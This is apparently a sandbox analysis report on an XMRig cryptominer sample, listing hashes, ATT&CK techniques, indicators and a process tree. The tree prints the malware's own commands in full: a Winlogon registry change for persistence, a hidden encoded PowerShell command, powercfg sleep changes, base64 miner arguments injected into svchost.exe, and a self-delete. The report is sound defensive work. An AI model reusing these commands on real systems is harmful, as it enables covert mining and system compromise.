xmrig | ff2edc48315b18ba8dba0788e8511c6c0b0ebea9f09b5cf1df2445203fedf244

Analysis

user interaction
yes
max time kernel
64s
max time network
66s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/08/2026, 15:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
inrovkdc.exe
Size 4.1MB
Sample260828-sm8bysbl9x
SHA256 ff2edc48315b18ba8dba0788e8511c6c0b0ebea9f09b5cf1df2445203fedf244
MD5 a49ce01b95574e10ec2cf074355fc2c9
SHA1 08ba56efb34ffef092a58d685a1194c5e6e8a5f4
SHA512 5d20040e7dbc3232e187072ce5900da070b9ca440a5e74c7507daa028701a2595f38ce9362334b3d337779c7cc7353f9dba032714e51048382602d34f7e98486
SSDEEP 49152:7tqYV51vezBqpigUDrNtL98sTJ0x0c1YzORdoUfT+QZZ8FQdPdhbV/SgcX4P+67T:FnIDDLm709zoTBCKU4
TLSH
T10916AE67E2A344FCC56FC17486679772B970B86901347E2E1A94D7313F22E609F6EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution xmrig miner persistence upx

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\userinit.exe,C:\\ProgramData\\Folder\\Miner.exe"	reg.exe

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral1/memory/4480-17-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp	xmrig
behavioral1/memory/4480-24-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp	xmrig
behavioral1/memory/4480-35-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp	xmrig
behavioral1/memory/4264-36-0x000001CD6FF50000-0x000001CD7070D000-memory.dmp	xmrig
behavioral1/memory/4572-42-0x00000223F3210000-0x00000223F39CD000-memory.dmp	xmrig
behavioral1/memory/1592-50-0x000001FC24070000-0x000001FC2482D000-memory.dmp	xmrig
behavioral1/memory/2924-60-0x0000021029310000-0x0000021029ACD000-memory.dmp	xmrig
behavioral1/memory/3272-68-0x00000179D5F00000-0x00000179D66BD000-memory.dmp	xmrig
behavioral1/memory/4648-74-0x000001F703ED0000-0x000001F70468D000-memory.dmp	xmrig
behavioral1/memory/4512-84-0x000001DEF6690000-0x000001DEF6E4D000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
756	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\Drivers\WinRing0.sys	svchost.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	inrovkdc.exe

Executes dropped EXE 8 IoCs

pid	Process
2348	WinRing0.sys
3508	Miner.exe
3732	Miner.exe
1460	Miner.exe
4204	Miner.exe
2736	Miner.exe
5032	Miner.exe
5044	Miner.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MinerService = "C:\\ProgramData\\Folder\\Miner.exe"	conhost.exe

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2632	powercfg.exe
5032	powercfg.exe
996	powercfg.exe
884	powercfg.exe

Suspicious use of SetThreadContext 15 IoCs

description	pid	Process	procid_target
PID 4668 set thread context of 4480	4668	inrovkdc.exe	93
PID 4668 set thread context of 4916	4668	inrovkdc.exe	94
PID 3508 set thread context of 4264	3508	Miner.exe	104
PID 3508 set thread context of 4236	3508	Miner.exe	105
PID 3732 set thread context of 4572	3732	Miner.exe	111
PID 3732 set thread context of 2912	3732	Miner.exe	112
PID 1460 set thread context of 1592	1460	Miner.exe	122
PID 1460 set thread context of 2100	1460	Miner.exe	123
PID 4204 set thread context of 2924	4204	Miner.exe	129
PID 4204 set thread context of 4716	4204	Miner.exe	130
PID 2736 set thread context of 3272	2736	Miner.exe	135
PID 2736 set thread context of 4136	2736	Miner.exe	136
PID 5032 set thread context of 4648	5032	Miner.exe	140
PID 5032 set thread context of 2860	5032	Miner.exe	141
PID 5044 set thread context of 4512	5044	Miner.exe	145

UPX packed file 27 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4480-15-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp	upx
behavioral1/memory/4480-17-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp	upx
behavioral1/memory/4480-24-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp	upx
behavioral1/memory/4264-31-0x000001CD6FF50000-0x000001CD7070D000-memory.dmp	upx
behavioral1/memory/4480-35-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp	upx
behavioral1/memory/4264-30-0x000001CD6FF50000-0x000001CD7070D000-memory.dmp	upx
behavioral1/memory/4480-16-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp	upx
behavioral1/memory/4480-14-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp	upx
behavioral1/memory/4264-36-0x000001CD6FF50000-0x000001CD7070D000-memory.dmp	upx
behavioral1/memory/4572-40-0x00000223F3210000-0x00000223F39CD000-memory.dmp	upx
behavioral1/memory/4572-42-0x00000223F3210000-0x00000223F39CD000-memory.dmp	upx
behavioral1/memory/4572-41-0x00000223F3210000-0x00000223F39CD000-memory.dmp	upx
behavioral1/memory/1592-48-0x000001FC24070000-0x000001FC2482D000-memory.dmp	upx
behavioral1/memory/1592-49-0x000001FC24070000-0x000001FC2482D000-memory.dmp	upx
behavioral1/memory/1592-50-0x000001FC24070000-0x000001FC2482D000-memory.dmp	upx
behavioral1/memory/2924-60-0x0000021029310000-0x0000021029ACD000-memory.dmp	upx
behavioral1/memory/2924-57-0x0000021029310000-0x0000021029ACD000-memory.dmp	upx
behavioral1/memory/2924-56-0x0000021029310000-0x0000021029ACD000-memory.dmp	upx
behavioral1/memory/3272-64-0x00000179D5F00000-0x00000179D66BD000-memory.dmp	upx
behavioral1/memory/3272-68-0x00000179D5F00000-0x00000179D66BD000-memory.dmp	upx
behavioral1/memory/3272-65-0x00000179D5F00000-0x00000179D66BD000-memory.dmp	upx
behavioral1/memory/4648-72-0x000001F703ED0000-0x000001F70468D000-memory.dmp	upx
behavioral1/memory/4648-74-0x000001F703ED0000-0x000001F70468D000-memory.dmp	upx
behavioral1/memory/4648-73-0x000001F703ED0000-0x000001F70468D000-memory.dmp	upx
behavioral1/memory/4512-80-0x000001DEF6690000-0x000001DEF6E4D000-memory.dmp	upx
behavioral1/memory/4512-84-0x000001DEF6690000-0x000001DEF6E4D000-memory.dmp	upx
behavioral1/memory/4512-81-0x000001DEF6690000-0x000001DEF6E4D000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2860	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
756	powershell.exe
756	powershell.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
644	Process not Found
644	Process not Found
644	Process not Found
644	Process not Found
644	Process not Found
644	Process not Found
644	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	756	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 4668 wrote to memory of 4556	4668	inrovkdc.exe	84
PID 4668 wrote to memory of 756	4668	inrovkdc.exe	86
PID 4668 wrote to memory of 2632	4668	inrovkdc.exe	89
PID 4668 wrote to memory of 5032	4668	inrovkdc.exe	90
PID 4668 wrote to memory of 884	4668	inrovkdc.exe	91
PID 4668 wrote to memory of 996	4668	inrovkdc.exe	92
PID 4668 wrote to memory of 4480	4668	inrovkdc.exe	93
PID 4668 wrote to memory of 4480	4668	inrovkdc.exe	93
PID 4668 wrote to memory of 4916	4668	inrovkdc.exe	94
PID 4668 wrote to memory of 4916	4668	inrovkdc.exe	94
PID 4668 wrote to memory of 2860	4668	inrovkdc.exe	100
PID 3508 wrote to memory of 4264	3508	Miner.exe	104
PID 3508 wrote to memory of 4264	3508	Miner.exe	104
PID 3508 wrote to memory of 4236	3508	Miner.exe	105
PID 3508 wrote to memory of 4236	3508	Miner.exe	105
PID 4916 wrote to memory of 3732	4916	conhost.exe	110
PID 3732 wrote to memory of 4572	3732	Miner.exe	111
PID 3732 wrote to memory of 4572	3732	Miner.exe	111
PID 3732 wrote to memory of 2912	3732	Miner.exe	112
PID 3732 wrote to memory of 2912	3732	Miner.exe	112
PID 4916 wrote to memory of 1460	4916	conhost.exe	121
PID 1460 wrote to memory of 1592	1460	Miner.exe	122
PID 1460 wrote to memory of 1592	1460	Miner.exe	122
PID 1460 wrote to memory of 2100	1460	Miner.exe	123
PID 1460 wrote to memory of 2100	1460	Miner.exe	123
PID 4916 wrote to memory of 4204	4916	conhost.exe	128
PID 4204 wrote to memory of 2924	4204	Miner.exe	129
PID 4204 wrote to memory of 2924	4204	Miner.exe	129
PID 4204 wrote to memory of 4716	4204	Miner.exe	130
PID 4204 wrote to memory of 4716	4204	Miner.exe	130
PID 4916 wrote to memory of 2736	4916	conhost.exe	134
PID 2736 wrote to memory of 3272	2736	Miner.exe	135
PID 2736 wrote to memory of 3272	2736	Miner.exe	135
PID 2736 wrote to memory of 4136	2736	Miner.exe	136
PID 2736 wrote to memory of 4136	2736	Miner.exe	136
PID 4916 wrote to memory of 5032	4916	conhost.exe	139
PID 5032 wrote to memory of 4648	5032	Miner.exe	140
PID 5032 wrote to memory of 4648	5032	Miner.exe	140
PID 5032 wrote to memory of 2860	5032	Miner.exe	141
PID 5032 wrote to memory of 2860	5032	Miner.exe	141
PID 4916 wrote to memory of 5044	4916	conhost.exe	144
PID 5044 wrote to memory of 4512	5044	Miner.exe	145
PID 5044 wrote to memory of 4512	5044	Miner.exe	145
PID 5044 wrote to memory of 2264	5044	Miner.exe	146
PID 5044 wrote to memory of 2264	5044	Miner.exe	146

C:\Users\Admin\AppData\Local\Temp\inrovkdc.exe
"C:\Users\Admin\AppData\Local\Temp\inrovkdc.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4668
- C:\Windows\system32\reg.exe
  C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "UserInit" /T REG_SZ /D "C:\Windows\system32\userinit.exe,C:\ProgramData\Folder\Miner.exe" /F
  2⤵
  - Modifies WinLogon for persistence
  PID:4556
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAgAC0ARgBvAHIAYwBlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEYAbwBsAGQAZQByAFwATQBpAG4AZQByAC4AZQB4AGUAIAAtAEYAbwByAGMAZQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:756
- C:\Windows\system32\powercfg.exe
  /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:2632
- C:\Windows\system32\powercfg.exe
  /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:5032
- C:\Windows\system32\powercfg.exe
  /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:884
- C:\Windows\system32\powercfg.exe
  /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:996
- C:\Windows\system32\svchost.exe
  svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
  2⤵
  - Drops file in Drivers directory
  PID:4480
- C:\Windows\system32\conhost.exe
  "C:\Windows\system32\conhost.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4916
- - C:\ProgramData\Folder\Miner.exe
    C:\ProgramData\Folder\Miner.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Windows\system32\svchost.exe
      svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
      4⤵
      PID:4572
  - - C:\Windows\system32\conhost.exe
      "C:\Windows\system32\conhost.exe"
      4⤵
      PID:2912
- - C:\ProgramData\Folder\Miner.exe
    C:\ProgramData\Folder\Miner.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\Windows\system32\svchost.exe
      svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
      4⤵
      PID:1592
  - - C:\Windows\system32\conhost.exe
      "C:\Windows\system32\conhost.exe"
      4⤵
      PID:2100
- - C:\ProgramData\Folder\Miner.exe
    C:\ProgramData\Folder\Miner.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4204
  - - C:\Windows\system32\svchost.exe
      svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
      4⤵
      PID:2924
  - - C:\Windows\system32\conhost.exe
      "C:\Windows\system32\conhost.exe"
      4⤵
      PID:4716
- - C:\ProgramData\Folder\Miner.exe
    C:\ProgramData\Folder\Miner.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\system32\svchost.exe
      svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
      4⤵
      PID:3272
  - - C:\Windows\system32\conhost.exe
      "C:\Windows\system32\conhost.exe"
      4⤵
      PID:4136
- - C:\ProgramData\Folder\Miner.exe
    C:\ProgramData\Folder\Miner.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:5032
  - - C:\Windows\system32\svchost.exe
      svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
      4⤵
      PID:4648
  - - C:\Windows\system32\conhost.exe
      "C:\Windows\system32\conhost.exe"
      4⤵
      PID:2860
- - C:\ProgramData\Folder\Miner.exe
    C:\ProgramData\Folder\Miner.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:5044
  - - C:\Windows\system32\svchost.exe
      svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
      4⤵
      PID:4512
  - - C:\Windows\system32\conhost.exe
      "C:\Windows\system32\conhost.exe"
      4⤵
      PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd /c del /f /q "C:\Users\Admin\AppData\Local\Temp\inrovkdc.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2860

C:\Windows\System32\Drivers\WinRing0.sys
C:\Windows\System32\Drivers\WinRing0.sys
1⤵
- Executes dropped EXE
PID:2348

C:\ProgramData\Folder\Miner.exe
C:\ProgramData\Folder\Miner.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3508
- C:\Windows\system32\svchost.exe
  svchost.exe IC1vIHBvb2wuc3VwcG9ydHhtci5jb206NTU1NSAtYSByeC8wIC11IDQzVUJzaWZkUTJnREN4Z1dFNDVFdUFpRnFqOW5FRzdLQ2pMS01WempVY1kyN281RTdqaWk0NkNQWEdyQ0w4RXRIOTIxNGRNSjVTaDJHTjFwNldnNExBakNDMVFHTTlVIC1wIE5pY2VoYXNoOiAtLWNvaW4gWE1SIC0tYy1pZCBlZWlrZm51YSAtLXJpZy1pZCBUZXN0IC0tYy1pZGxlLXRocmVhZHMgNTAgLS1jLWFjdGl2ZS10aHJlYWRzIDEwIC0tYy1pZGxlLXRpbWUgMzAwIC0tYy1pZGxlLW1pbmluZyB0cnVlIC0tYy1mdWxsLXNjcmVlbiB0cnVlIC0tdGxz
  2⤵
  PID:4264
- C:\Windows\system32\conhost.exe
  "C:\Windows\system32\conhost.exe"
  2⤵
  PID:4236

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Miner.exe

Path C:\ProgramData\Folder\Miner.exe
Size 4.1MB
SHA256 ff2edc48315b18ba8dba0788e8511c6c0b0ebea9f09b5cf1df2445203fedf244
MD5 a49ce01b95574e10ec2cf074355fc2c9
SHA1 08ba56efb34ffef092a58d685a1194c5e6e8a5f4
SHA512 5d20040e7dbc3232e187072ce5900da070b9ca440a5e74c7507daa028701a2595f38ce9362334b3d337779c7cc7353f9dba032714e51048382602d34f7e98486
SSDEEP 49152:7tqYV51vezBqpigUDrNtL98sTJ0x0c1YzORdoUfT+QZZ8FQdPdhbV/SgcX4P+67T:FnIDDLm709zoTBCKU4
TLSH
T10916AE67E2A344FCC56FC17486679772B970B86901347E2E1A94D7313F22E609F6EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_we4lc2hh.wus.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_we4lc2hh.wus.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

WinRing0.sys

Path C:\Windows\System32\drivers\WinRing0.sys
Size 14KB
SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
MD5 0c0195c48b6b8582fa6f6373032118da
SHA1 d25340ae8e92a6d29f599fef426a2bc1b5217299
SHA512 ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d
SSDEEP 192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
TLSH
T1096218874B7E1906FB969F7592E9C7936D34F6C0CFA825CF421299982C413E0AF2861C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/756-0-0x00000184FAEB0000-0x00000184FAEC0000-memory.dmp

Download

memory/756-2-0x00000184FB240000-0x00000184FB262000-memory.dmp

Download

memory/756-12-0x00000184FBC10000-0x00000184FBE2C000-memory.dmp

Download

memory/756-1-0x00000184FAEB0000-0x00000184FAEC0000-memory.dmp

Download

memory/1460-54-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

Download

memory/1592-49-0x000001FC24070000-0x000001FC2482D000-memory.dmp

Download

memory/1592-50-0x000001FC24070000-0x000001FC2482D000-memory.dmp

Download

memory/1592-48-0x000001FC24070000-0x000001FC2482D000-memory.dmp

Download

memory/2100-53-0x000001D3E3830000-0x000001D3E3939000-memory.dmp

Download

memory/2100-52-0x000001D3E3830000-0x000001D3E3939000-memory.dmp

Download

memory/2264-83-0x000001D90BD20000-0x000001D90BE29000-memory.dmp

Download

memory/2264-82-0x000001D90BD20000-0x000001D90BE29000-memory.dmp

Download

memory/2348-28-0x0000000000010000-0x0000000000017000-memory.dmp

Download

memory/2736-70-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

Download

memory/2860-77-0x000001C93C850000-0x000001C93C959000-memory.dmp

Download

memory/2860-76-0x000001C93C850000-0x000001C93C959000-memory.dmp

Download

memory/2912-45-0x0000024023230000-0x0000024023339000-memory.dmp

Download

memory/2912-44-0x0000024023230000-0x0000024023339000-memory.dmp

Download

memory/2924-57-0x0000021029310000-0x0000021029ACD000-memory.dmp

Download

memory/2924-60-0x0000021029310000-0x0000021029ACD000-memory.dmp

Download

memory/2924-56-0x0000021029310000-0x0000021029ACD000-memory.dmp

Download

memory/3272-68-0x00000179D5F00000-0x00000179D66BD000-memory.dmp

Download

memory/3272-65-0x00000179D5F00000-0x00000179D66BD000-memory.dmp

Download

memory/3272-64-0x00000179D5F00000-0x00000179D66BD000-memory.dmp

Download

memory/3508-34-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

Download

memory/3732-46-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

Download

memory/4136-66-0x000002280F590000-0x000002280F699000-memory.dmp

Download

memory/4136-67-0x000002280F590000-0x000002280F699000-memory.dmp

Download

memory/4204-62-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

Download

memory/4236-33-0x000001BA29D50000-0x000001BA29E59000-memory.dmp

Download

memory/4236-32-0x000001BA29D50000-0x000001BA29E59000-memory.dmp

Download

memory/4264-36-0x000001CD6FF50000-0x000001CD7070D000-memory.dmp

Download

memory/4264-31-0x000001CD6FF50000-0x000001CD7070D000-memory.dmp

Download

memory/4264-30-0x000001CD6FF50000-0x000001CD7070D000-memory.dmp

Download

memory/4480-35-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

Download

memory/4480-24-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

Download

memory/4480-15-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

Download

memory/4480-18-0x00000217D0FE0000-0x00000217D1000000-memory.dmp

Download

memory/4480-17-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

Download

memory/4480-16-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

Download

memory/4480-14-0x00000217D07B0000-0x00000217D0F6D000-memory.dmp

Download

memory/4512-81-0x000001DEF6690000-0x000001DEF6E4D000-memory.dmp

Download

memory/4512-84-0x000001DEF6690000-0x000001DEF6E4D000-memory.dmp

Download

memory/4512-80-0x000001DEF6690000-0x000001DEF6E4D000-memory.dmp

Download

memory/4572-42-0x00000223F3210000-0x00000223F39CD000-memory.dmp

Download

memory/4572-41-0x00000223F3210000-0x00000223F39CD000-memory.dmp

Download

memory/4572-40-0x00000223F3210000-0x00000223F39CD000-memory.dmp

Download

memory/4648-73-0x000001F703ED0000-0x000001F70468D000-memory.dmp

Download

memory/4648-74-0x000001F703ED0000-0x000001F70468D000-memory.dmp

Download

memory/4648-72-0x000001F703ED0000-0x000001F70468D000-memory.dmp

Download

memory/4668-26-0x00007FF79A0C0000-0x00007FF79A4E5000-memory.dmp

Download

memory/4716-59-0x0000029A82170000-0x0000029A82279000-memory.dmp

Download

memory/4716-58-0x0000029A82170000-0x0000029A82279000-memory.dmp

Download

memory/4916-25-0x000001C962B60000-0x000001C962C69000-memory.dmp

Download

memory/4916-22-0x000001C962B60000-0x000001C962C69000-memory.dmp

Download

memory/4916-20-0x000001C962B60000-0x000001C962C69000-memory.dmp

